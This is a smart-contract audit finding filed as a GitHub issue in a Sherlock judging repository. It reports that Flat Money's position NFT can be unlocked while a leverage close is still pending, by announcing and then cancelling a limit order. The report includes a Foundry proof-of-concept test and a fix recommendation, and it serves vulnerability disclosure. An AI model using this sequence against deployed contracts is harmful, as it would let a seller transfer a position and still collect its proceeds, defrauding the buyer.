sherlock-audit / 2023-12-flatmoney-judging

11 stars 9 forks source link

evmboi32 - Leverage NFT position token can be unlocked while having a pending leverageAdjust or leverageClose order. #150

Closed sherlock-admin2 closed 8 months ago

sherlock-admin2 commented 8 months ago

evmboi32

medium

Leverage NFT position token can be unlocked while having a pending leverageAdjust or leverageClose order.

Summary

Users can maliciously unlock the locked leverage NFT token while having a pending leverageAdjust or leverageClose order.

Vulnerability Detail

When calling announceLeverageAdjust or announceLeverageClose the nft token representing the position is locked

function announceLeverageAdjust(
    uint256 tokenId,
    int256 marginAdjustment,
    int256 additionalSizeAdjustment,
    uint256 fillPrice,
    uint256 keeperFee
) external whenNotPaused {
    ...
    // Lock the NFT belonging to this position so that it can't be transferred to someone else.
    // Locking doesn't require an approval from the leverage trader.
    leverageModule.lock(tokenId);
    ...
}
function announceLeverageClose(uint256 tokenId, uint256 minFillPrice, uint256 keeperFee) external whenNotPaused {
    ...
    // Lock the NFT belonging to this position so that it can't be transferred to someone else.
    // Locking doesn't require an approval from the leverage trader.
    leverageModule.lock(tokenId);
    ...
}

So token should not be transferable while having leverageAdjust or leverageClose orders pending. But it can be bypassed by creating and canceling the limit order.

When announcing a limit order a token is locked again (the _lock and _unlock functions don't check if the token is already locked/unlocked)

function announceLimitOrder(uint256 tokenId, uint256 priceLowerThreshold, uint256 priceUpperThreshold) external {
    ...
    // Lock the NFT belonging to this position so that it can't be transferred to someone else.
    ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).lock(tokenId);
    ...
}

After that, a user can call cancelLimitOrder for the same tokenId

function cancelLimitOrder(uint256 tokenId) external {
    ...
    // Unlock the ERC721 position NFT to allow for transfers.
    ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).unlock(tokenId);
    ...
}

This will unlock the token for the user while still having a pending leverageAdjust or leverageClose order.

Coded POC

Add this test to ./test/unit/Leverage-Module/Leverage.t.sol
add import {FlatcoinStructs} from "../../../src/libraries/FlatcoinStructs.sol";
and run with forge test --match-path ./test/unit/Leverage-Module/Leverage.t.sol -vvv

function testUnlockToken() public {
    announceAndExecuteDeposit({
        traderAccount: alice,
        keeperAccount: keeper,
        depositAmount: 100e18,
        oraclePrice: 2000e8,
        keeperFeeAmount: 0
    });

    uint256 tokenId = announceAndExecuteLeverageOpen({
        traderAccount: alice,
        keeperAccount: keeper,
        margin: 100e18,
        additionalSize: 100e18,
        oraclePrice: 2000e8,
        keeperFeeAmount: 0
    });

    // Leverage close announced
    announceCloseLeverage(alice, tokenId, 0);

    vm.startPrank(alice);

    // Announce limit order for the same tokenId that you announced leverage close for
    limitOrderProxy.announceLimitOrder({
        tokenId: tokenId,
        priceLowerThreshold: 900e18, // whatever
        priceUpperThreshold: 3000e18 // whatever
    });

    // Check that limit order was created correctly
    FlatcoinStructs.Order memory limitOrder = limitOrderProxy.getLimitOrder(tokenId);
    assertEq(uint256(limitOrder.orderType), uint256(FlatcoinStructs.OrderType.LimitClose));
    assertEq(limitOrder.keeperFee, 0, "Limit order keeper fee not 0"); // limit orders have no keeper fee
    assertEq(limitOrder.executableAtTime, block.timestamp + vaultProxy.minExecutabilityAge());

    // Check that leverage close was announced correctly and that tokenId is locked
    FlatcoinStructs.Order memory leverageCloseOrder = delayedOrderProxy.getAnnouncedOrder(alice);
    assertEq(uint256(leverageCloseOrder.orderType), uint256(FlatcoinStructs.OrderType.LeverageClose));
    assertEq(leverageCloseOrder.executableAtTime, block.timestamp + vaultProxy.minExecutabilityAge());
    assertTrue(leverageModProxy.isLocked(tokenId), "Position token not locked");

    limitOrderProxy.cancelLimitOrder(tokenId);

    // Check if limit order was cancelled successfully and reset to default values
    limitOrder = limitOrderProxy.getLimitOrder(tokenId);
    assertEq(uint256(limitOrder.orderType), uint256(FlatcoinStructs.OrderType.None));
    assertEq(limitOrder.executableAtTime, 0);

    // Check that leverage close is still pending and that tokenId is unlocked
    leverageCloseOrder = delayedOrderProxy.getAnnouncedOrder(alice);
    assertEq(uint256(leverageCloseOrder.orderType), uint256(FlatcoinStructs.OrderType.LeverageClose));
    assertEq(leverageCloseOrder.executableAtTime, block.timestamp + vaultProxy.minExecutabilityAge());
    assertTrue(!leverageModProxy.isLocked(tokenId), "Position token locked");

    // Transfer out
    leverageModProxy.transferFrom({from: alice, to: bob, tokenId: tokenId});

    // Check owner
    assertEq(leverageModProxy.ownerOf(tokenId), bob);
}

Impact

A user could potentially sell the token before the leverageClose is executed and then execute the order. This will send the margin + any profits or losses to the original owner creator instead of the current token owner.

Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/DelayedOrder.sol#L298

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/DelayedOrder.sol#L361

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol#L76

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol#L94

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/misc/ERC721LockableEnumerableUpgradeable.sol#L32-L36

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/misc/ERC721LockableEnumerableUpgradeable.sol#L43-L47

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LeverageModule.sol#L314

Tool used

Manual Review

Recommendation

Don't allow the creation of limit orders while the token is locked.

Duplicate of #48

sherlock-admin commented 8 months ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid: medium(4)